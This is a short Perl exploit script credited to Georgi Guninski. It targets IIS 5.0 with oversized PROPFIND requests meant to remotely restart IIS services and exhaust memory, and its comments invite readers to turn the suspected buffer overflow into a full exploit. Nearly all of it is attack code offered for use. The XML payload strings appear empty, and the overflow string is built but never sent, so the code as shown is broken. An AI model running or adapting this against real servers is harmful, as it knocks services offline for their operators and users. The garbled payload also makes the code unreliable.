#!/usr/bin/perl
# Written by Georgi Guninski
# Description:
#
# It is possible to remotely restart all IIS related service
# using specially crafted request. It is also possible to
# force IIS to consume memory which it does not free. Seems
# to be a buffer overflow, don't know whether it is exploitable,
# let me know if you find a way to exploit it.
use IO::Socket;
print "IIS 5.0 propfind\n";
$port = @ARGV[1];
$host = @ARGV[0];
sub vv()
{
$ll=$_[0]; #length of buffer
$ch=$_[1];
$over=$ch x $ll; #string to overflow
$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return;
#$xml=''."".''."\n\n";
# ^^^^ This is another issue and also works with length ~>65000
$xml=''."".''."\n\n";
$l=length($xml);
$req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n";
syswrite($socket,$req,length($req));
print ".";
$socket->read($res,300);
#print "r=".$res;
close $socket;
}
do vv(128008,"V"); # may need to change the length
sleep(1);
do vv(128008,"V");
print "Done.\n";